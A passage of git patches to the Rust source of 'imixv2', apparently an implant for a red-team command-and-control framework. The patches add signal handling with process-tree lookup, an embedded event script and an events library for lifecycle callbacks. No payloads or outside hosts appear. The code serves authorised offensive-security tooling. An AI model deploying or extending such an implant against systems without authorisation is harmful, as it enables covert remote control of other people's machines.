cmd: - cmd = cp.get("command") - lines = [(cp.get("pid", 0), cmd, cp.get("tty", ""))] + lines - cp = cp.get("parent", None) - - i = 0 - for p, c, t in lines: - if t: - t = f" ({t}" - print(" "*i + f"↳ [{p}] {c}{t}") - i += 2 - -args = input_params.get("args", {}) -if "sender" in args: - dump_process_tree(args["sender"]) -else: - print(f"[EVENT] {evt} called:", input_params) - diff --git a/implants/imixv2/src/event.rs b/implants/imixv2/src/event.rs index a35d32659..ce18cfe34 100644 --- a/implants/imixv2/src/event.rs +++ b/implants/imixv2/src/event.rs @@ -5,6 +5,7 @@ use eldritchv2::{ Interpreter, Value, assets::std::{EmbeddedAssets, StdAssetsLibrary}, + conversion::ToValue, }; #[cfg(feature = "events")] use std::{ @@ -15,7 +16,7 @@ use std::{ #[cfg(feature = "events")] static EVENT_SCRIPT: OnceLock> = OnceLock::new(); -#[cfg(feature = "events")] +#[cfg(all(feature = "events", target_os = "linux"))] #[derive(Debug, Clone)] struct Sender { pid: i32, @@ -25,7 +26,7 @@ struct Sender { parent: Option>, } -#[cfg(feature = "events")] +#[cfg(all(feature = "events", target_os = "linux"))] pub async fn catch_signals() { use signal_hook::consts::{ SIGCHLD, SIGHUP, SIGINT, SIGQUIT, SIGTERM, SIGUSR1, SIGUSR2, SIGWINCH, @@ -55,10 +56,7 @@ pub async fn catch_signals() { let mut sender = None; // Attempt to read process info immediately to avoid race conditions if let Some(p) = info.process { - #[cfg(target_os = "linux")] - { - sender = get_pid_info(p.pid, 15); - } + sender = get_pid_info(p.pid, 15); } if tx.blocking_send((info, sender)).is_err() { @@ -70,7 +68,7 @@ pub async fn catch_signals() { while let Some((info, sender)) = rx.recv().await { let sig = info.signal as i32; - let event_name = match sig { + let sig_name = match sig { SIGINT => "sigint", SIGTERM => "sigterm", SIGHUP => "sighup", @@ -83,20 +81,23 @@ pub async fn catch_signals() { }; // Args that can passed to the event callback. "sender" - let mut args = BTreeMap::new(); + let mut args: BTreeMap = BTreeMap::new(); + args.insert("signal".into(), sig_name.to_string().to_value()); if let Some(s) = sender { - args.insert("sender".to_string(), sender_to_value(&s)); + args.insert("sender".into(), sender_to_value(&s)); } // Actually spawn the event tokio::spawn(async move { - let event = "on_".to_owned() + event_name; - on_event(&event, args).await; + on_event("on_signal", args).await; }); } } -#[cfg(feature = "events")] +#[cfg(all(feature = "events", not(target_os = "linux")))] +pub async fn catch_signals() {} + +#[cfg(all(feature = "events", target_os = "linux"))] fn sender_to_value(sender: &Sender) -> Value { use eldritchv2::conversion::ToValue; let mut map = BTreeMap::new(); @@ -184,11 +185,11 @@ fn get_pid_info(pid: i32, max_rec: u32) -> Option { #[cfg(feature = "events")] pub fn load_event_script() -> bool { - EVENT_SCRIPT.get_or_init(|| { + let script = EVENT_SCRIPT.get_or_init(|| { let path = "on_event.eldritch"; crate::assets::Asset::get(path).map(|f| String::from_utf8_lossy(&f.data).into_owned()) }); - return EVENT_SCRIPT.get().is_some(); + script.is_some() } #[cfg(feature = "events")] diff --git a/implants/imixv2/src/run.rs b/implants/imixv2/src/run.rs index 88a385755..444a1b86f 100644 --- a/implants/imixv2/src/run.rs +++ b/implants/imixv2/src/run.rs @@ -1,5 +1,4 @@ use anyhow::Result; -use eldritch_agent::Agent; #[cfg(feature = "events")] use std::collections::BTreeMap; use std::sync::Arc; @@ -10,7 +9,7 @@ use crate::agent::ImixAgent; use crate::task::TaskRegistry; use crate::version::VERSION; #[cfg(feature = "events")] -use eldritchv2::{Value, conversion::ToValue}; +use eldritchv2::conversion::ToValue; use pb::config::Config; use transport::{ActiveTransport, Transport}; From 556c727177c7bb26d3b800fdea755baf230def1b Mon Sep 17 00:00:00 2001 From: nullmonk Date: Wed, 14 Jan 2026 18:58:24 -0500 Subject: [PATCH 6/7] Only call supported callbacks --- implants/imixv2/embedded/on_event.eldritch | 8 +++ implants/imixv2/src/event.rs | 56 +++++++++++++++++-- implants/lib/eldritchv2/eldritchv2/src/lib.rs | 2 +- 3 files changed, 59 insertions(+), 7 deletions(-) create mode 100644 implants/imixv2/embedded/on_event.eldritch diff --git a/implants/imixv2/embedded/on_event.eldritch b/implants/imixv2/embedded/on_event.eldritch new file mode 100644 index 000000000..dae5dc683 --- /dev/null +++ b/implants/imixv2/embedded/on_event.eldritch @@ -0,0 +1,8 @@ +def on_callback_fail(args={}): + print("[on_callback_fail]", args) + +def on_callback_success(args={}): + print("[on_callback_success]", args) + +def on_start(args={}): + print("started") \ No newline at end of file diff --git a/implants/imixv2/src/event.rs b/implants/imixv2/src/event.rs index ce18cfe34..1a281ce30 100644 --- a/implants/imixv2/src/event.rs +++ b/implants/imixv2/src/event.rs @@ -9,12 +9,14 @@ use eldritchv2::{ }; #[cfg(feature = "events")] use std::{ - collections::BTreeMap, + collections::{BTreeMap,BTreeSet}, sync::{Arc, OnceLock}, }; #[cfg(feature = "events")] static EVENT_SCRIPT: OnceLock> = OnceLock::new(); +#[cfg(feature = "events")] +static EVENT_CALLBACKS: OnceLock> = OnceLock::new(); #[cfg(all(feature = "events", target_os = "linux"))] #[derive(Debug, Clone)] @@ -99,7 +101,6 @@ pub async fn catch_signals() {} #[cfg(all(feature = "events", target_os = "linux"))] fn sender_to_value(sender: &Sender) -> Value { - use eldritchv2::conversion::ToValue; let mut map = BTreeMap::new(); map.insert("pid".to_string(), (sender.pid as i64).to_value()); map.insert("command".to_string(), sender.command.clone().to_value()); @@ -189,19 +190,61 @@ pub fn load_event_script() -> bool { let path = "on_event.eldritch"; crate::assets::Asset::get(path).map(|f| String::from_utf8_lossy(&f.data).into_owned()) }); - script.is_some() + + // Use the lexer to get all the function definitions. This allows us + // to only load the interpreter if the callback is supported + if let Some(content) = script { + use eldritch_core::{ + Lexer, + TokenKind, + }; + + let mut lexer = Lexer::new(content.to_string()); + let tokens = lexer.scan_tokens(); + let mut is_func = false; + EVENT_CALLBACKS.get_or_init(|| { + let mut set = BTreeSet::new(); + for t in tokens { + if is_func && let TokenKind::Identifier(name) = &t.kind { + // Add this callback to to the set. It will be called later + if name.starts_with("on_") && name.len() > 3 { + set.insert(name.to_string()); + } + continue; + }; + // Track if the previous token was a func def + if let TokenKind::Def = &t.kind { + is_func = true; + } else { + is_func = false + } + } + #[cfg(debug_assertions)] + log::info!("loaded events from '{}': {:?}", "on_event.eldritch", set); + set + }); + return true; + }; + return false; } #[cfg(feature = "events")] pub async fn on_event(name: &str, args: BTreeMap) { - // See if the event script exists - use eldritchv2::conversion::ToValue; + // Dont run if there isnt a function for this callback + if let Some(callbacks) = EVENT_CALLBACKS.get() { + if !callbacks.contains(name) { + #[cfg(debug_assertions)] + log::info!("no callback registered for '{}'. Skipping", name); + return; + } + } + // Check for the universal event script let script_content = EVENT_SCRIPT.get().cloned().flatten(); - let content = match script_content { + let mut content = match script_content { Some(s) => s, None => return, }; @@ -225,6 +268,7 @@ pub async fn on_event(name: &str, args: BTreeMap) { interpreter.register_lib(locker); interpreter.define_variable("input_params", input_params.to_value()); + content = content + "\n" + name + "(input_params['args']);"; match interpreter.interpret(&content) { Ok(_) => {} Err(_e) => { diff --git a/implants/lib/eldritchv2/eldritchv2/src/lib.rs b/implants/lib/eldritchv2/eldritchv2/src/lib.rs index c5fba7b3f..1f641414b 100644 --- a/implants/lib/eldritchv2/eldritchv2/src/lib.rs +++ b/implants/lib/eldritchv2/eldritchv2/src/lib.rs @@ -22,7 +22,7 @@ pub use eldritch_libtime as time; // Re-export core types pub use eldritch_core::{ BufferPrinter, Environment, ForeignValue, Interpreter as CoreInterpreter, Printer, Span, - StdoutPrinter, TokenKind, Value, conversion, + StdoutPrinter, TokenKind, Value, conversion, Parser }; use alloc::string::String; From 63ab2cbb441342f5b350ddfba151b495cb5d13c8 Mon Sep 17 00:00:00 2001 From: nullmonk Date: Thu, 15 Jan 2026 13:18:07 -0500 Subject: [PATCH 7/7] Updating events --- implants/Cargo.toml | 3 +- .../lib/eldritchv2/eldritch-core/src/ast.rs | 3 + .../eldritch-core/src/interpreter/core.rs | 35 +++++++++- .../src/interpreter/eval/access.rs | 5 +- .../eldritchv2/eldritch-macros/src/impls.rs | 20 ++++++ implants/lib/eldritchv2/eldritchv2/Cargo.toml | 3 + .../eldritchv2/eldritchv2/src/events_test.rs | 58 +++++++++++++++++ implants/lib/eldritchv2/eldritchv2/src/lib.rs | 31 ++++++--- .../stdlib/eldritch-libevents/Cargo.toml | 18 ++++++ .../stdlib/eldritch-libevents/src/fake.rs | 19 ++++++ .../stdlib/eldritch-libevents/src/lib.rs | 52 +++++++++++++++ .../stdlib/eldritch-libevents/src/std/mod.rs | 64 +++++++++++++++++++ 12 files changed, 299 insertions(+), 12 deletions(-) create mode 100644 implants/lib/eldritchv2/eldritchv2/src/events_test.rs create mode 100644 implants/lib/eldritchv2/stdlib/eldritch-libevents/Cargo.toml create mode 100644 implants/lib/eldritchv2/stdlib/eldritch-libevents/src/fake.rs create mode 100644 implants/lib/eldritchv2/stdlib/eldritch-libevents/src/lib.rs create mode 100644 implants/lib/eldritchv2/stdlib/eldritch-libevents/src/std/mod.rs diff --git a/implants/Cargo.toml b/implants/Cargo.toml index 07ece57ba..3b34965ed 100644 --- a/implants/Cargo.toml +++ b/implants/Cargo.toml @@ -28,7 +28,7 @@ members = [ "lib/eldritchv2/stdlib/tests", "lib/eldritchv2/stdlib/migration", "lib/eldritchv2/eldritchv2", - "lib/portals/portal-stream", + "lib/portals/portal-stream", "lib/eldritchv2/stdlib/eldritch-libevents", ] resolver = "2" @@ -57,6 +57,7 @@ eldritch-libregex = {path = "lib/eldritchv2/stdlib/eldritch-libregex",default-fe eldritch-libreport = {path = "lib/eldritchv2/stdlib/eldritch-libreport",default-features = false } eldritch-libsys = {path = "lib/eldritchv2/stdlib/eldritch-libsys",default-features = false } eldritch-libtime = {path = "lib/eldritchv2/stdlib/eldritch-libtime",default-features = false } +eldritch-libevents = {path = "lib/eldritchv2/stdlib/eldritch-libevents", default-features = false } portal-stream = { path = "lib/portals/portal-stream" } aes = "0.8.3" diff --git a/implants/lib/eldritchv2/eldritch-core/src/ast.rs b/implants/lib/eldritchv2/eldritch-core/src/ast.rs index b18c60905..899615a33 100644 --- a/implants/lib/eldritchv2/eldritch-core/src/ast.rs +++ b/implants/lib/eldritchv2/eldritch-core/src/ast.rs @@ -66,6 +66,9 @@ pub trait ForeignValue: fmt::Debug + Send + Sync { args: &[Value], kwargs: &BTreeMap, ) -> Result; + fn get_attr(&self, _name: &str) -> Option { + None + } } #[derive(Clone)] diff --git a/implants/lib/eldritchv2/eldritch-core/src/interpreter/core.rs b/implants/lib/eldritchv2/eldritch-core/src/interpreter/core.rs index 8e412d246..a348cd7bb 100644 --- a/implants/lib/eldritchv2/eldritch-core/src/interpreter/core.rs +++ b/implants/lib/eldritchv2/eldritch-core/src/interpreter/core.rs @@ -1,4 +1,4 @@ -use super::super::ast::{BuiltinFn, Environment, Value}; +use super::super::ast::{Argument, BuiltinFn, Environment, Expr, ExprKind, Value}; use super::super::lexer::Lexer; use super::super::parser::Parser; use super::super::token::{Span, TokenKind}; @@ -300,6 +300,39 @@ impl Interpreter { self.env.write().values.insert(name.to_string(), value); } + pub fn call_value( + &mut self, + func: &Value, + args: &[Value], + kwargs: &BTreeMap, + ) -> Result { + // We use Argument::Positional for everything for now to simplify + let mut expr_args = Vec::new(); + for arg in args { + expr_args.push(Argument::Positional(Expr { + kind: ExprKind::Literal(arg.clone()), + span: Span::new(0, 0, 0), + })); + } + for (name, val) in kwargs { + expr_args.push(Argument::Keyword( + name.clone(), + Expr { + kind: ExprKind::Literal(val.clone()), + span: Span::new(0, 0, 0), + }, + )); + } + + let callee = Expr { + kind: ExprKind::Literal(func.clone()), + span: Span::new(0, 0, 0), + }; + + eval::functions::call_function(self, &callee, &expr_args, Span::new(0, 0, 0)) + .map_err(|e| e.to_string()) + } + pub fn lookup_variable(&self, name: &str, span: Span) -> Result { let mut current_env = Some(self.env.clone()); while let Some(env_arc) = current_env { diff --git a/implants/lib/eldritchv2/eldritch-core/src/interpreter/eval/access.rs b/implants/lib/eldritchv2/eldritch-core/src/interpreter/eval/access.rs index 84afa9202..7deb9c79e 100644 --- a/implants/lib/eldritchv2/eldritch-core/src/interpreter/eval/access.rs +++ b/implants/lib/eldritchv2/eldritch-core/src/interpreter/eval/access.rs @@ -273,7 +273,10 @@ pub(crate) fn evaluate_getattr( } // Support Foreign Objects - if let Value::Foreign(_) = &obj_val { + if let Value::Foreign(f) = &obj_val { + if let Some(val) = f.get_attr(&name) { + return Ok(val); + } // Return a bound method where the receiver is the foreign object return Ok(Value::BoundMethod(Box::new(obj_val), name)); } diff --git a/implants/lib/eldritchv2/eldritch-macros/src/impls.rs b/implants/lib/eldritchv2/eldritch-macros/src/impls.rs index d21cac271..b08dd3937 100644 --- a/implants/lib/eldritchv2/eldritch-macros/src/impls.rs +++ b/implants/lib/eldritchv2/eldritch-macros/src/impls.rs @@ -97,6 +97,22 @@ pub fn expand_eldritch_library( } }); + let has_get_attr = trait_def.items.iter().any(|item| { + if let TraitItem::Method(m) = item { + m.sig.ident == "_eldritch_get_attr" + } else { + false + } + }); + + if !has_get_attr { + trait_def.items.push(parse_quote! { + fn _eldritch_get_attr(&self, _name: &str) -> Option { + None + } + }); + } + trait_def.items.push(parse_quote! { fn _eldritch_call_method( &self, @@ -158,6 +174,10 @@ pub fn expand_eldritch_library_impl( ) -> Result { ::_eldritch_call_method(self, interp, name, args, kwargs) } + + fn get_attr(&self, name: &str) -> Option { + ::_eldritch_get_attr(self, name) + } } }) } diff --git a/implants/lib/eldritchv2/eldritchv2/Cargo.toml b/implants/lib/eldritchv2/eldritchv2/Cargo.toml index f424f6a34..6244f2ab8 100644 --- a/implants/lib/eldritchv2/eldritchv2/Cargo.toml +++ b/implants/lib/eldritchv2/eldritchv2/Cargo.toml @@ -20,6 +20,7 @@ eldritch-libregex = { workspace = true, default-features = false } eldritch-libreport = { workspace = true, default-features = false } eldritch-libsys = { workspace = true, default-features = false } eldritch-libtime = { workspace = true, default-features = false } +eldritch-libevents = { workspace = true, default-features = false } [features] default = ["std", "stdlib"] @@ -37,6 +38,7 @@ fake_bindings = [ "eldritch-libreport/fake_bindings", "eldritch-libsys/fake_bindings", "eldritch-libtime/fake_bindings", + "eldritch-libevents/fake_bindings", ] stdlib = [ "eldritch-libagent/stdlib", @@ -51,6 +53,7 @@ stdlib = [ "eldritch-libreport/stdlib", "eldritch-libsys/stdlib", "eldritch-libtime/stdlib", + "eldritch-libevents/stdlib", ] [dev-dependencies] diff --git a/implants/lib/eldritchv2/eldritchv2/src/events_test.rs b/implants/lib/eldritchv2/eldritchv2/src/events_test.rs new file mode 100644 index 000000000..f1ff30cca --- /dev/null +++ b/implants/lib/eldritchv2/eldritchv2/src/events_test.rs @@ -0,0 +1,58 @@ +use crate::Interpreter; +#[cfg(feature = "stdlib")] +use crate::agent::fake::AgentFake; +use eldritch_core::Value; +use std::sync::Arc; + +fn create_interp() -> Interpreter { + #[cfg(feature = "stdlib")] + { + use eldritch_libassets::std::EmptyAssets; + + let agent_mock = Arc::new(AgentFake); + let task_id = 123; + let backend = Arc::new(EmptyAssets {}); + Interpreter::new().with_default_libs().with_task_context( + agent_mock, + task_id, + vec![], + backend, + ) + } + #[cfg(not(feature = "stdlib"))] + { + Interpreter::new().with_default_libs() + } +} + +#[test] +fn test_events_constants() { + let mut interp = create_interp(); + + let val = interp.interpret("events.ON_CALLBACK_START").unwrap(); + assert_eq!(val, Value::String("on_callback_start".to_string())); + + let val = interp.interpret("events.ON_CALLBACK_END").unwrap(); + assert_eq!(val, Value::String("on_callback_end".to_string())); +} + +#[test] +fn test_events_register() { + let mut interp = create_interp(); + + let code = r#" +called = [False] +def my_hook(): + called[0] = True + +events.register(events.ON_CALLBACK_START, my_hook) +"#; + interp.interpret(code).unwrap(); + + // Manually trigger the event + use crate::events::std::trigger_event; + trigger_event(&mut interp.inner, "on_callback_start", vec![]); + + let val = interp.interpret("called[0]").unwrap(); + assert_eq!(val, Value::Bool(true)); +} diff --git a/implants/lib/eldritchv2/eldritchv2/src/lib.rs b/implants/lib/eldritchv2/eldritchv2/src/lib.rs index 1f641414b..310ed1dd4 100644 --- a/implants/lib/eldritchv2/eldritchv2/src/lib.rs +++ b/implants/lib/eldritchv2/eldritchv2/src/lib.rs @@ -18,6 +18,7 @@ pub use eldritch_libregex as regex; pub use eldritch_libreport as report; pub use eldritch_libsys as sys; pub use eldritch_libtime as time; +pub use eldritch_libevents as events; // Re-export core types pub use eldritch_core::{ @@ -61,6 +62,8 @@ use crate::report::std::StdReportLibrary; use crate::sys::std::StdSysLibrary; #[cfg(feature = "stdlib")] use crate::time::std::StdTimeLibrary; +#[cfg(feature = "stdlib")] +use crate::events::std::StdEventsLibrary; #[cfg(feature = "fake_bindings")] use crate::agent::fake::AgentLibraryFake; @@ -86,6 +89,8 @@ use crate::report::fake::ReportLibraryFake; use crate::sys::fake::SysLibraryFake; #[cfg(feature = "fake_bindings")] use crate::time::fake::TimeLibraryFake; +#[cfg(feature = "fake_bindings")] +use crate::events::fake::EventsLibraryFake; pub struct Interpreter { inner: CoreInterpreter, @@ -122,19 +127,24 @@ impl Interpreter { self.inner.register_lib(StdRegexLibrary); self.inner.register_lib(StdSysLibrary); self.inner.register_lib(StdTimeLibrary); + self.inner.register_lib(StdEventsLibrary::new()); } #[cfg(feature = "fake_bindings")] { - self.inner.register_lib(CryptoLibraryFake); - self.inner.register_lib(FileLibraryFake::default()); - self.inner.register_lib(HttpLibraryFake); - self.inner.register_lib(PivotLibraryFake); - self.inner.register_lib(ProcessLibraryFake); - self.inner.register_lib(RandomLibraryFake); - self.inner.register_lib(RegexLibraryFake); - self.inner.register_lib(SysLibraryFake); - self.inner.register_lib(TimeLibraryFake); + #[cfg(not(feature = "stdlib"))] + { + self.inner.register_lib(CryptoLibraryFake); + self.inner.register_lib(FileLibraryFake::default()); + self.inner.register_lib(HttpLibraryFake); + self.inner.register_lib(PivotLibraryFake); + self.inner.register_lib(ProcessLibraryFake); + self.inner.register_lib(RandomLibraryFake); + self.inner.register_lib(RegexLibraryFake); + self.inner.register_lib(SysLibraryFake); + self.inner.register_lib(TimeLibraryFake); + self.inner.register_lib(EventsLibraryFake); + } } self @@ -237,3 +247,6 @@ mod bindings_test; #[cfg(all(test, feature = "fake_bindings"))] mod input_params_test; + +#[cfg(all(test, feature = "stdlib"))] +mod events_test; diff --git a/implants/lib/eldritchv2/stdlib/eldritch-libevents/Cargo.toml b/implants/lib/eldritchv2/stdlib/eldritch-libevents/Cargo.toml new file mode 100644 index 000000000..96dceed34 --- /dev/null +++ b/implants/lib/eldritchv2/stdlib/eldritch-libevents/Cargo.toml @@ -0,0 +1,18 @@ +[package] +name = "eldritch-libevents" +version = "0.1.0" +edition = "2024" + +[dependencies] +eldritch-core = { workspace = true } +eldritch-macros = { workspace = true } +eldritch-agent = { workspace = true } +anyhow = { version = "1.0" } +rust-embed = { version = "8.0" } +spin = { workspace = true } + +[features] +default = ["std", "stdlib"] +std = ["eldritch-core/std"] +fake_bindings = [] +stdlib = [] diff --git a/implants/lib/eldritchv2/stdlib/eldritch-libevents/src/fake.rs b/implants/lib/eldritchv2/stdlib/eldritch-libevents/src/fake.rs new file mode 100644 index 000000000..484659bc3 --- /dev/null +++ b/implants/lib/eldritchv2/stdlib/eldritch-libevents/src/fake.rs @@ -0,0 +1,19 @@ +use super::EventsLibrary; +use alloc::string::{String, ToString}; +use alloc::vec::Vec; +use eldritch_core::Value; +use eldritch_macros::eldritch_library_impl; + +#[eldritch_library_impl(EventsLibrary)] +#[derive(Debug, Default)] +pub struct EventsLibraryFake; + +impl EventsLibrary for EventsLibraryFake { + fn list(&self) -> Result, String> { + Ok(alloc::vec!["fake_event".to_string()]) + } + + fn register(&self, _event: Value, _f: Value) -> Result<(), String> { + Ok(()) + } +} diff --git a/implants/lib/eldritchv2/stdlib/eldritch-libevents/src/lib.rs b/implants/lib/eldritchv2/stdlib/eldritch-libevents/src/lib.rs new file mode 100644 index 000000000..260435fba --- /dev/null +++ b/implants/lib/eldritchv2/stdlib/eldritch-libevents/src/lib.rs @@ -0,0 +1,52 @@ +extern crate alloc; +use alloc::string::String; +use alloc::vec::Vec; +use eldritch_core::Value; +use eldritch_macros::{eldritch_library, eldritch_method}; + +#[cfg(feature = "fake_bindings")] +pub mod fake; +#[cfg(feature = "stdlib")] +pub mod std; + +pub const ON_CALLBACK_START: &str = "on_callback_start"; +pub const ON_CALLBACK_END: &str = "on_callback_end"; +pub const ON_TASK_START: &str = "on_task_start"; +pub const ON_TASK_END: &str = "on_task_end"; + +#[eldritch_library("events")] +/// The `events` library provides a mechanism for registering callbacks that are executed when specific agent events occur. +/// +/// This allows you to: +/// - Hook into the agent's lifecycle (e.g., before or after a callback). +/// - Monitor task execution. +/// - Implement custom logic in response to agent activities. +pub trait EventsLibrary { + #[eldritch_method] + /// Returns a list of all available events. + /// + /// **Returns** + /// - `List`: A list of event names that can be registered. + fn list(&self) -> Result, String>; + + #[eldritch_method] + /// Registers a callback function for a specific event. + /// + /// **Parameters** + /// - `event` (`str`): The name of the event (e.g., `events.ON_CALLBACK_START`). + /// - `f` (`function`): The callback function to execute. + /// + /// **Returns** + /// - `None` + fn register(&self, event: Value, f: Value) -> Result<(), String>; + + fn _eldritch_get_attr(&self, name: &str) -> Option { + match name { + "ON_CALLBACK_START" => Some(Value::String(ON_CALLBACK_START.to_string())), + "ON_CALLBACK_END" => Some(Value::String(ON_CALLBACK_END.to_string())), + "ON_TASK_START" => Some(Value::String(ON_TASK_START.to_string())), + "ON_TASK_END" => Some(Value::String(ON_TASK_END.to_string())), + _ => None, + } + } +} diff --git a/implants/lib/eldritchv2/stdlib/eldritch-libevents/src/std/mod.rs b/implants/lib/eldritchv2/stdlib/eldritch-libevents/src/std/mod.rs new file mode 100644 index 000000000..7a6b51d3d --- /dev/null +++ b/implants/lib/eldritchv2/stdlib/eldritch-libevents/src/std/mod.rs @@ -0,0 +1,64 @@ +use super::{EventsLibrary, ON_CALLBACK_END, ON_CALLBACK_START, ON_TASK_END, ON_TASK_START}; +use alloc::collections::BTreeMap; +use alloc::string::{String, ToString}; +use alloc::vec::Vec; +use eldritch_core::Value; +use eldritch_macros::eldritch_library_impl; +use spin::RwLock; + +// The global registry for event callbacks +pub static EVENT_REGISTRY: RwLock>> = RwLock::new(BTreeMap::new()); + +#[eldritch_library_impl(EventsLibrary)] +#[derive(Debug, Default)] +pub struct StdEventsLibrary {} + +impl StdEventsLibrary { + pub fn new() -> Self { + Self::default() + } +} + +impl EventsLibrary for StdEventsLibrary { + fn list(&self) -> Result, String> { + Ok(alloc::vec![ + ON_CALLBACK_START.to_string(), + ON_CALLBACK_END.to_string(), + ON_TASK_START.to_string(), + ON_TASK_END.to_string(), + ]) + } + + fn register(&self, event: Value, f: Value) -> Result<(), String> { + let event_name = match event { + Value::String(s) => s, + _ => return Err("Event name must be a string".to_string()), + }; + + match f { + Value::Function(_) | Value::NativeFunction(_, _) | Value::NativeFunctionWithKwargs(_, _) | Value::BoundMethod(_, _) => { + let mut registry = EVENT_REGISTRY.write(); + registry.entry(event_name).or_default().push(f); + Ok(()) + } + _ => Err("Callback must be a function".to_string()), + } + } +} + +/// Triggers an event and executes all registered callbacks. +pub fn trigger_event(interp: &mut eldritch_core::Interpreter, event: &str, args: Vec) { + let callbacks = { + let registry = EVENT_REGISTRY.read(); + registry.get(event).cloned() + }; + + if let Some(callbacks) = callbacks { + for callback in callbacks { + if let Err(e) = interp.call_value(&callback, &args, &BTreeMap::new()) { + let printer = interp.env.read().printer.clone(); + printer.print_err(&eldritch_core::Span::new(0, 0, 0), &alloc::format!("Event callback error for event '{}': {}", event, e)); + } + } + } +}